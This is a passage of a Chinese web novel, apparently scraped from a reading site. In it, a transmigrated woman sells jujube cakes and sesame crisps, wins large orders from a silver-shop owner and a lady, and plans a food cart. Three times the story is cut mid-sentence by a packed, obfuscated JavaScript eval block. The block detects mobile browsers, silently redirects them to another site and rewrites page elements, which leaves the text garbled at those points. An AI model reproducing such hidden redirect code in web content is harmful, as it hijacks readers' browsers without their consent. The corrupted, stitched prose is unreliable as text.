糯米粉黏性大，成品粘牙拉丝，而粳米粉黏性中等，做出来软和带些弹性。如果把两者结和在一起，通过调整配比相互平衡，做出来的糕点便能兼顾两边的优点，得到非常适宜的口感。 此时，店里正巧只有黎长安一位客人。老板一边很尽心地给她称重装袋，一边乐呵呵地问她：“今日不买玉米的了？” “不了，我想做点新花样。”黎长安笑道。 “是要做糕点吗？看来黎小娘子的生意不错呀！”老板道了声恭喜，“我们店各类粉子都磨得仔细，以后有需要多来照顾我们啊，要是量大，还能送上门的。” “好嘞一定，多谢老板。” - 黎长安回了家放好东西，先将之前拿井水浸着保鲜的鸡杂拿了出来，和白萝卜一道，准备做一锅酱闷鸡杂当午饭。 忙了一早上，这会儿晌午早过了。要不是有那肉龙在中间垫着，她只怕都要饿晕了。 她用极快的速度将菜下了锅，又将清洗好的红枣放入另一口锅中慢煮，等煮到皮肉软烂，用漏勺捞了出来，去皮去核，在臼中捣成细腻的枣泥。 没办法，这个世界可没有破壁机。虽然费功夫，可为了好的口感，她只能一个个的剥皮。 不过，红枣皮也不会就此浪费。以后煮水泡茶，或者煲汤煮粥，都还能再用，也是增添一点味道。 做枣泥这步要花些时间，等她做完，萝卜鸡杂早已经好了。 虽然鸡杂不多，但也让闷得软烂的萝卜带了点荤腥滋味，一口下去饱浸汤汁，还带着适中的酱香，总比素着好吃。 - 匆匆吃过午饭，黎长安开始继续做枣糕。 她取了多一点的粳米粉和少量的糯米粉掺在一起，加入温水、麦芽糖和捣好的枣泥，搅拌均匀反复地揉和，直到揉得颜色均匀、枣泥充分地融入进去，才取出蒸笼，将一片烫软了的干净荷叶铺进去，往里面装糕泥。 糕泥不能很厚，还要铺得均匀，之后便可以上锅蒸熟了。 黎长安趁着这个时间，去院子里喂了鸡，又翻了翻之前晒上的红薯干。最近天气不错，有太阳，正适合晒东西。只不过时间还不够，晒好得至少要3、4天。还得耐心等上一会儿。 等做完些杂务，糕也蒸熟了。只是刚蒸好的红枣糕还不能马上切，黎长安很有耐心地等它放凉，才取了刀，先将四边的不均匀处切了下来。 按照惯例，这依旧是分小块供客人试吃的部分。 她切下一块，用手指捻了起来。 软软的，弹弹的，捏一捏会陷下去，松开后又会慢慢地弹回来。 完美，正是她想要的口感。 黎长安将糕送到嘴边，享受着鼻尖浓郁的枣香，轻轻地咬上了一口。 松软中带着糯，糯中又带着弹牙，嚼上一嚼，那浓郁扎实的红枣甜味便充满口腔，却既没有皮也没有核，细腻得仿佛不像在吃红枣。 这样的甜品，想来应该是很受女性顾客喜欢的。 黎长安满意地又“偷吃”了一块，才将红枣糕中心的那部分切成大小均等的长方块状，四块做一包，一样定价8文。 只不过，虽是同样的价格，这糕的体积却比芝麻薄脆大了不少。她的提篮里一次装不下太多。 看来，要想多卖一点，今天得勤快些，来回跑上两趟了。 一定要尽快攒钱，做一辆木餐车！ 黎长安暗暗想着，同上次一样，换好衣裳，出门去了。 - 喜祥银楼的黄掌柜发现，昨日那个叫卖芝麻薄脆的青衣小娘子，今日又来了。 “叮铃——叮铃——” 先是两声悦耳的铃铛声，接着便是那轻缓温柔的吆喝。 “红枣方糕——甜而不腻、柔和软糯的红枣方糕——精细小点，温润养颜——解馋零嘴——” 黄掌柜一愣。 诶？今日是换了品种吗？ 还没等他反应过来，铃铛又响了两声。 “叮铃——叮铃——” “芝麻薄脆——文火慢烙、焦香酥脆的芝麻薄脆——精细小点，香甜可口——解馋零嘴——” 还好还好，和昨天一样。 黄掌柜松了口气。 昨日他听见吆喝，凑热闹也叫伙计买了一包回来。没想到，带回家后，这么个小点心一家子人几乎全吃中了，尤其是最上头的老太太和最年幼的小女儿，还怪他买的少，怎么不多带些。 他的小女儿甚至因为薄脆没有了，还哭了一场，弄得黄掌柜焦头烂额地哄了半天，一遍遍承诺下次遇到多多地给她买，才把人哄好了。 今日一早，他便差了昨日的伙计去街上寻这小娘子。可好半天功夫，伙计才满头大汗地回来，说没找着人。 原本他还发愁呢，这走街串巷的小娘子要是找不着了，家里的小女儿可怎么办啊？ 幸好，她自己又过来了。而且似乎……今天还带了两样吃食？ 黄掌柜也顾不得跟前正在招待的一对母女，赶紧眼神示意伙计：快！把人请进来！ 伙计会意，连忙出门去追。 这让他空跑了一早上的小姑奶奶，可不能再放走了！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491392|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> - 黎长安昨日来过一回，有些买过薄脆，对她印象不错的客人今日一听有新的什么“红枣方糕”，倒是没有犹豫，直接便上来问这方糕又是什么东西。 黎长安照例打开一个纸包，里面是散发着浓郁枣香、切成小方块的试吃。 银楼伙计跑来的时候，正巧看到的就是这一幕——两三个客人，围着黎长安掏钱买单。 小伙计不免心中暗暗祈祷：买少点，买少点，给我们掌柜的留些啊！ 幸好，这几人都只买了一包红枣糕，小伙计偷偷往提篮里瞄了一眼，还剩一些，大概是够的。 他连忙赶在这个空挡，拦住了黎长安：“失礼了小娘子，我是喜祥银楼的伙计，昨日替我们掌柜的买过你的芝麻薄脆。” 黎长安歪歪头，打量着这个脸上带点雀斑的小伙计。 好像……昨日是见过这么一个人。 小伙计又接着道：“我们掌柜的很喜欢，想再买一些。不过这会儿不巧，他正在招待客人，于是让我来问问，能否请小娘子移步我们店中？略等上一等即可，他很快忙完。” 黎长安自然没有不答应的道理，谢过小伙计，跟着他进了喜祥银楼。 - 延祥镇上有几间卖首饰的铺子，可称得上银楼的，只有喜祥一家。 黎长安进去时，正瞧见一对母女模样的客人付完了钱，对着镜子欣赏新买的银簪。而一个相貌儒雅的中年男人，一见她进来便眼神一亮，低声朝那对母女说了点什么，便向自己走来。 想来正是这银楼的掌柜。 “劳烦小娘子跑一趟，我是这儿的掌柜，鄙姓黄。” 黄掌柜很是和气地简单介绍了自己，接着便一点弯也没绕，非常直接地直入主题：“小娘子今日可带了那芝麻薄脆？还有多少？” 黎长安一愣，低头点了点篮子里的数。 方才一路走来，她已经卖掉一些了。 “还有九份。” “我全要了！”黄掌柜飞快道，“还有那个什么方糕，红枣的是吧？什么模样？” “全……全要？”黎长安一边惊讶于黄掌柜的大手笔，一边把红枣方糕的试吃推到他跟前。 “您是家中人口比较多吗？这薄脆放不了太久时间，又是甜的，一天不宜吃太多。您要不……再考虑一下？” “能吃得能吃得。”黄掌柜苦笑，“是人比较多。昨日就买了一包回去，哎……别提了，不够分，房顶都差点没被掀了，今日好不容易碰上你又过来，可不得多买点？” 他说着，伸手捻了块方糕：“哎，这个也好吃，软和又带点弹，嗯……枣味也浓，怎么卖？” “一样的价，也是8文一包。”黎长安从篮中取出个比薄脆更大的纸包。“这样一包有四块。粳米粉、糯米粉和红枣、麦芽糖做的，都是好食材。” 黄掌柜点点头，又探头看了看她的篮子：“你这还有多少啊？要是就这一包，我反倒是买不了了，回去他们又得闹。” 还没等黎长安回答，那对照镜子的母女却被这边的动静吸引，也走了过来。 “黄掌柜，什么稀罕东西，值得你做生意时还分神，又把人招进店里来买啊？” 12. 喜迎大客户！ 见客人这么说，黄掌柜连忙赔不是。 “真是不好意思，实在是我昨日带这小娘子的零嘴回去，家中不够分，小女儿闹了一场，今日才格外留意的。还请夫人小姐见谅。” “哦？”那小姐闻言，挑起了眉毛：“什么小零嘴？这延祥镇还有黄掌柜的小明珠吃不够的？” 她年纪尚小，白皙的小脸上还带着点婴儿肥，看起来就13、4岁的模样，正巧也是对零嘴感兴趣的年纪。 “哪里吃不够，是我买少了。”黄掌柜连忙维护自己的女儿。“不过确实是从前没见过的，叫芝麻薄脆。诶，小娘子，”他冲着黎长安道，“今日可还有薄脆的试吃？” “哎呀不巧，有是有的，但只有最后几片了。”黎长安道，“有些细碎，还请夫人小姐莫嫌弃。” 见黄掌柜替自己招揽生意，黎长安连忙递上小纸包，心中却有些忐忑——那一包试吃经过两日功夫，只剩下最后一点点了，观感上可是会大打折扣的。 也不知道眼前这对母女会不会介意。 果然，那位夫人瞟了一眼，兴趣不大。但那小姐倒是接了过来，看了看纸袋，嘴巴却又一撇，不大高兴：“哎，就这么一点啊……算了算了，看在黄掌柜这么中意的份上，我也尝尝吧。” 她伸手从里面翻出最大的一片，咬了一口。紧接着，眼睛就亮了。 “娘！真的不错诶！好脆哦！全是芝麻香！” 她咬下薄脆时那清晰的“咔嚓”声在场所有人都听见了，她的娘自然也不例外。此时，竟也生出了‘要不尝一口’的心思。 可惜，那纸包里剩下的实在是太小片了，就这么拿，她的形象怎么办？ 黄掌柜看着眼前夫人纠结的模样，犹豫片刻，忍痛拆了一份自己的：“要不安夫人从我这儿拿一片尝吧。” 那姓安的夫人瞥了他一眼，打趣他：“黄掌柜开这么大银楼还小气呢，就一片啊？” 黄掌柜沉痛点头：“一片，看在二位是我们熟客的份上。实在是家里人多怕不够分，别人我还不主动呢。” 安夫人轻哼一声，伸出一只保养得宜的手，捻走一片，道了声谢，便一掰两半，和女儿分了。 黄掌柜连忙把剩下的又重新包好，叫伙计连同另几份都收了放后边去。 生怕安夫人再问他要的模样。 果然，安夫人吃完后，脸上明显还有几分意犹未尽，但是看看黎长安的提篮里似乎只有那个什么红枣方糕了，也没有办法，只得问：“这个红枣糕是不是也能试试？这个黄掌柜还没定下来吧？” “没有没有，”黄掌柜道。“这数量不大够，我就算了吧。夫人请便。” 黎长安将红枣方糕的试吃递到母女二人面前，又对黄掌柜道：“这次出来带的不多，但家中还有一些，若是掌柜的中意，我一会儿回去再取。而且这些零嘴都能订，您若有需要，我可以做好了直接送上门。” “哦？”黄掌柜还没来得及说什么，安夫人倒是抬头问道：“那芝麻薄脆也能送？” “能的，夫人若有意，告诉我数量、时间和府上的地址就行，量不大的话不用定钱，送到时再付就可以了，8文一包，分量就像方才黄掌柜的那样。” “那倒是方便。”安夫人点点头，吃完了红枣方糕，问黎长安：“这个还有几包？都给我吧，另外再定十份芝麻薄脆，后日辰时末送去广正巷的安家，我要去县里探亲，正好带上一些。” “好嘞！”黎长安从篮子里拿出最后的两包方糕，收下了安夫人的钱。 一下有了两位大主顾，她笑得无比真心：“这红枣方糕夫人也需要订上一些吗？枣子补血养颜，这糕也做得细腻，送女眷挺合适的。” “不必了，”安夫人摇摇头，“我那亲戚不爱红枣，两包我们自家吃就行。以后有需要再说。那送货的事就这么说定了，后日辰时末，千万别忘了。” “一定一定。” 黎长安应着，和黄掌柜一起，将安氏母女送出了银楼。 见二人离开，黎长安连忙向黄掌柜致谢。 “多谢黄掌柜，您一下买了那么多，还为我带来了新客人，实在是感谢。” “只是芝麻薄脆现下确实是没有了，红枣方糕却还有些。我一会儿就去取，额外再送您几包可好？多谢掌柜的照顾，还望不要推辞。” “哎呀果真？”黄掌柜乐道：“那就多谢了，这么好吃的点心，我才不推辞呢。还得是小娘子手艺好，要不然我也介绍不出去呀。” 他差伙计去取了钱来，交给黎长安。“方才还没给你，你快快回去取方糕吧，我等着啊。” “好嘞。” 黎长安接了钱，赶紧回家去取糕，将家里还有的全都拿来了。 这一趟，算上买的送的，黄掌柜一下把她的红枣方糕全都包圆了。 耶！能早收工了！ 她神清气爽地出了喜祥银楼，准备回家将剩下的材料也都做成红枣软糕，晚上给邻居们送一送，顺便看看能不能招到人手。 这些天她一直一个人连轴转，真的是要累散架了！ 类似烤薄脆、处理红枣这样的简单工序，还是要找人分担一下，做得也能更快些。 - 晚上，黎长安带着做好的红枣方糕敲响了红花巷每一户街坊的门。一是对他们从前的照顾表示谢意，二也是询问有没有擅长庖厨、有闲暇时间的女眷愿意上门帮忙，她会按时计工钱。 绝大部分邻居们的反应都大同小异，要么打趣“你家做饭香折磨我们几天了，今日可算是有口福了”，要么客气推辞“邻里间送点小东西都不算什么，自己种的养的不值几个钱”，再或者就是感叹她实在厉害，毕竟前几个月还痴痴傻傻要人照顾呢，眼下居然都能招工了。 不过这其中偶尔也有个别讲话冒酸气的，黎长安也不忘心里去。 她又不是块金子，哪能人人都爱？从前要人接济的小可怜突然日子过好了，有人心理产生落差也很正常，以后留意些就是了。 黎长安与各家客套一番，记下了有意向上门帮忙的人，最后才去了王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491393|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶子家。 她想打听打听做木餐车的花销。 王叔今日出工回来得晚，黎长安去的时候，一家人才将将收拾好碗筷。 她递上一份红枣方糕，惹得王婶子喜笑颜开。 “哎呦黎丫头又送吃的来！你每次拿来的都好吃，哎，你最初说的那个什么，梦中云游仙境，和人学做饭的事儿，莫不是真的呀？” 她几次尝到黎长安的手艺，对这说法已经从怀疑渐渐的变成了相信。 要不是这等奇遇，一个傻姑娘怎么会十几年没做过饭，结果人一清醒，就变得如此厉害？ 只有神神鬼鬼一类的说法才能解释得了！ 黎长安对此自然笑着肯定“就是真的”——穿越什么的，那能说吗？ 王家最小的小姑娘此时拿了一块方糕，一边吃着一边凑了过来，揪着黎长安的裙角贴得亲亲热热。小姑娘是个自来熟，这段时间吃了黎长安带的各种吃食，对她更是亲近了。 黎长安伸手摸着她的小脑袋，向王叔王婶道明来意。 王婶自然对上门帮工很是积极，两家离得近，她除了小女儿又没别人需要照顾，抽时间做点活，能赚一点是一点。 王叔听了黎长安对木餐车的想法，却有些拿不准。他掰来一根结实的树枝子递给黎长安： “你还是画一下我看看吧。” 黎长安在院中寻了一块干净的地，挽了挽裙子，划了起来。 “这样，大概有我半人高，长形的，底下装两个轮子——后头两个长把手，车身的部分要有两层，上面这里我可以把吃食展示给人看，下面这层要大些，能放货物的那种。” 黎长安看了看自己划拉出来的“抽象画”，觉得有点没眼看。 没办法，她不会画画，这样已经是尽力了。 她回头看看王叔，眼含期待：“我画的王叔能看懂吗？” 王叔面色凝重：“能猜懂。” 能懂就行！ 黎长安已经满意了，拍拍手站了起来：“那叔觉得，这样的车，如果我想要好点的料子，做的扎实点，但又不用太精致，雕花什么的都不用，就是整洁干净、结实好用，大约要准备多少钱啊？” 王叔用那双满是老茧的手摸了摸下巴，默算了下报了个数：“大约要近1两银子呢！你存的够吗？” 1两！也就是1000文，之前在码头做了那么久的窝窝头，也就攒下了1000多呢！黎长安默默算着。 她这些时日虽然有赚，但修厨房买行头买食材的也花出去了不少……感觉得手头攒到2两左右，才能拿出来这么一笔做车。 看来还是要继续拓展一下目前的生意呀。 “谢谢叔，那我心里有数了。我再攒攒，等够了再来。”黎长安道。 本来她想明天早上给陶记送完肉卷就休息一天的。这下，也没法休息喽，还得出门卖方糕。 不过这次，她可以请王婶子过来帮忙处理红枣，晚上做薄脆时，也可以叫上街坊一起。人多的话，一起做可就快多了。 13. 素馅小馄饨 次日，黎长安起得很早。 她揉着惺忪的睡眼，动作迟缓地强行把自己从床上拔了起来。 这是她给陶记卤味铺供货的第一天，她希望一切都顺顺当当的，可千万别给合作方留下不靠谱的坏印象。 她捧着清早冰凉的水洗脸刷牙，被激得打了个哆嗦，终于成功地让自己恢复了清明的神智。 - 黎长安今日不准备在自家做早饭，而是出了门，要去外面早市上吃一碗热乎乎的小馄饨。 她已经馋了很久了。 经营小馄饨的是对上了年纪的老夫妻，黎长安之前在码头卖金窝窝时，每天早上都会路过他们的摊位。那飘出来的香气呦，可诱人了。只可惜，她一直都没时间停下来尝上一碗。 今日她到的早，天色还没有亮起来。整条街笼罩在清晨的蓝色调中，空荡荡的，只有几个零散的摊位支了起来，在雾气中亮着一两盏橙黄的灯笼。 黎长安远远的，便看见了那馄饨摊处升腾起的袅袅白雾。摊主老夫妻起得早，正在摊位上擀着馄饨皮。桌子旁坐了一个客人，是个更夫，正捧着碗，呼噜呼噜地大快朵颐。 黎长安点了一碗素馅的，挑了个空位坐下。不多时，摊主婆婆便端着馄饨，放到了她的面前。 馄饨装在粗陶的大碗中，带着刚出锅的腾腾热气。极薄的馄饨皮被水一煮，便成了半透明，正好透出里边素馅的清新绿意。 她用勺子舀起一个，碗底切得细小的大头菜丁随着她的动作浮了上来，和着清汤及翠绿的小葱，十分勾人食欲。 不过要是有榨菜碎，那就更好了。 等等…… 榨菜？ 黎长安突然意识到，自从穿越过来，她见过很多腌渍的小咸菜，比如盐芥菜、酱黄瓜、或者酒糟腌菜，可是还从没有见过现代的榨菜。 不知道是这里人不吃，还是这个世界目前没有榨菜？ “婆婆，您这儿有榨菜吗？”她出言问道。 一时，摊位上的三个人都齐齐回头，看向了她。 “榨菜是什么？” “就是一种……用青菜头做的，吃起来不软烂，又脆又咸的小咸菜。”黎长安解释道。 那三人彼此对视了一眼，都没从对方眼中找到答案。 “你说的可是泡菜？那个脆。”那更夫问。 “不是泡菜，泡菜酸啊，她说是咸的。”摊主婆婆道，又对黎长安说：“你是不是要找腌菜头？我们这儿不叫榨菜，摊位上也没有，你若想买，去集市东边找一家叫田记的酱菜铺子，他家有，味道也好。” “好嘞，谢谢婆婆。” 黎长安谢过了她，专心吃起小馄饨来。 等有空，她要去一趟田记看看。 毕竟，榨菜可是耐放又百搭、全国人民都喜爱的国民小咸菜。若是田记的腌菜头真的就是“榨菜”，她可以买些回来自家吃。如果不是，她可以叫系统教她，日后做上一些，不仅能在镇上卖，还能依托着码头的货船，卖去其他的地方。 黎长安慢慢地吃完了一碗小馄饨，只觉得全身上下连指头尖都是暖乎乎的。 这时，晨雾已经消散，集市上的人也渐渐多了起来。 她谢过老夫妇的馄饨，去常去的肉摊，照例采买了新鲜的猪肉，请老板剁馅包上。 - 回到家后，黎长安抓紧时间先把面给发了，然后敲响王家的门，借来了一辆推车。 王家男人毕竟是做木工的，家里的推车也是齐整又扎实。黎长安擦洗一番，在车上铺了一层干净的垫絮——一会儿得用它，连着肉卷带着蒸笼，一起推去陶记。 等面发好，她又忙着拌馅、卷好，然后切块蒸熟，把肉卷连着两个大蒸笼都一起搬上了车。 最初黎长安是想就这么推走的，但眼下实际一看，又觉得还不够。于是从柜子里又拿了床垫絮，把蒸笼也给罩上了，甚至拿绳子捆了几道，牢牢固定。 一是保温，二也是保护。 早上的集市本就人多，若是磕了碰了有东西撒了，或者单纯有品性不佳的人非要伸手动动别人的东西，到时候可就麻烦了。 这么着罩起来，看不出里面是什么，也闻不见味道，大抵就安全了，万一有什么东西溅上去，也沁不进这厚厚的垫絮。 她全身用力，压下车把，推着木车出了门。 - 果然，推着车在人头攒动的集市中前行，简直能用“步履维艰”来形容。 四周全是卖菜的买菜的、还价的挑货的，也没个固定的通行方向，人们都是想往哪边走，就往哪边走，混乱得没法说。 黎长安不得不一路大声喊着“借过——借过——注意推车——请让一让”，才用了几乎成倍的时间，通过了最为拥挤的路段。 真是遭老罪了！北京早晚高峰也不见得这么堵！ 幸好，她打足了提前量，还是在约定好的时间到达了陶记卤肉的门口。 年轻的伙计小七正巧在门边送客，一见她便笑了，打了声招呼：“黎娘子好准时，稍等，我去请掌柜的。” 黎长安点点头，把车停稳当了，开始动手拆垫絮。 很快，陶掌柜出来了，黎长安也正好拆完，便把蒸笼盖一揭，让陶老板“验货”，顿时引来了几个路人围观。 “呦，这是什么啊，”一个人探头过来，鼻尖翕动几下：“闻着怪香的。” “样子也好看啊，你看这侧边，一层一层的。” “诶，陶老板，这是店里要卖的吗？从前怎么没见过？” 听着众人七嘴八舌的议论，陶老板的面上不禁也带了点得意之色：嘿，看我，慧眼识珠。 他向周围人拱了拱手：“这是今日起要在我店售卖的锦香肉卷。面皮柔软，肉馅咸香，每日限量供应！诸位买些店内的卤菜，带上这么一份主食，不论是出行还是回家享用，都便利、饱腹又美味。” “若有兴趣，诸位可进店瞧瞧，向我们的伙计购买品尝。” 陶老板一边介绍，一边指挥着伙计把蒸笼搬去后厨——让顾客们看看就行了，老这么放在车上也不是个事儿。 虽然门口聚着人气很好，但引进店那就更好了。 果然，围观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491394|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者中有人有了兴趣，跟着那肉卷就进了店，向伙计打听价钱去了。 陶老板喜滋滋地看着这一幕，等人群散了，又付了尾款和次日的订钱。 “黎娘子放心吧，瞧这样子，你的吃食不愁卖。这会儿还不到晌午呢，等到了人最多的时候，只怕这两笼一下就卖光。” “明日也先按着这个量做，以后如果要增加，我再同你说。” 黎长安接下钱，答应道：“多谢陶掌柜。不过还有一事，想同掌柜的商量。往后早上的送货，不一定是我来，可行吗？” “只要这肉卷还是一样的肉卷，按时间送到，谁送来我当然无所谓。”陶掌柜点点头。“可钱我又付给谁呢？” “付给送货的人就行。”黎长安谢道，“我今日送来，发现自己穿过集市颇为吃力，因此可能会委托一位力气更大的娘子，也许还能到的更早一些。” 陶掌柜闻言，看了看黎长安的身形，哈哈一笑：“倒也是，辛苦你了，黎娘子不容易呀。我这儿无所谓，你找一个过手银钱也放心的人就行。” 黎长安点点头。 其实她觉得，王婶就很合适。她虽嘴上不饶人，但品性是不错的，而且身强体健嗓门大，这种要点力气的活，找她没问题。 说话间，伙计小七已经腾空了黎长安的蒸笼，端着还了出来。 他帮着把蒸笼重新在车上固定好，黎长安也就不再耽搁，推着车向两人告辞了。 - 黎长安回了家，先把垫絮架到晾衣杆上，拍打掉浮尘，让它们就这么晾着晒晒太阳。接着并不着急还车，而是去敲了敲王家的门。 门一开，她就忍不住笑了。 王家的小姑娘也不知道是在搞什么，竟将鸡毛插了王婶子一头！哎呦，这一脑门子五颜六色，将她弄得活像一个低配版的部落酋长。 “笑笑笑，笑什么笑！” 王婶子面色黑沉，满脸暴躁没好气又无可奈何的模样：“你来干嘛？来还车？” 黎长安拼命憋笑：“来问问婶子，下午有没有空帮我处理红枣。活不累，坐着干，能把皮和核去干净就行，一个时辰给5文。” “干！怎么不干！” 王婶子登时两眼放光，抬手一薅，把满脑袋鸡毛弄掉了个七七八八。 “这么轻松，还有5文！不干是傻子！” “娘——你怎么把我鸡毛弄掉了——我好不容易给你插得那么美！” 王家小姑娘的声音从她身后传来。 看来她是不乐意了，眼瞅着就要扯着嗓子开嚎。 “去去去，陪你玩一早上了，你也让我歇会儿。”王婶子回头没好气道，“娘有钱要挣，你乖乖的不闹，回头带你听说书的去。” 小姑娘顿时安静了。可见刚才也不是要真哭。 黎长安侧过身子探探头，瞧见了坐在屋檐底下，正在拨弄鸡毛的她。 老在家里呆着，也许是太无趣了吧。 她收回视线，冲王婶子微微一笑：“婶子家里吃饭了吗？若是还没准备，不如带着小宝去我家，今天中午和我一块儿吃吧。”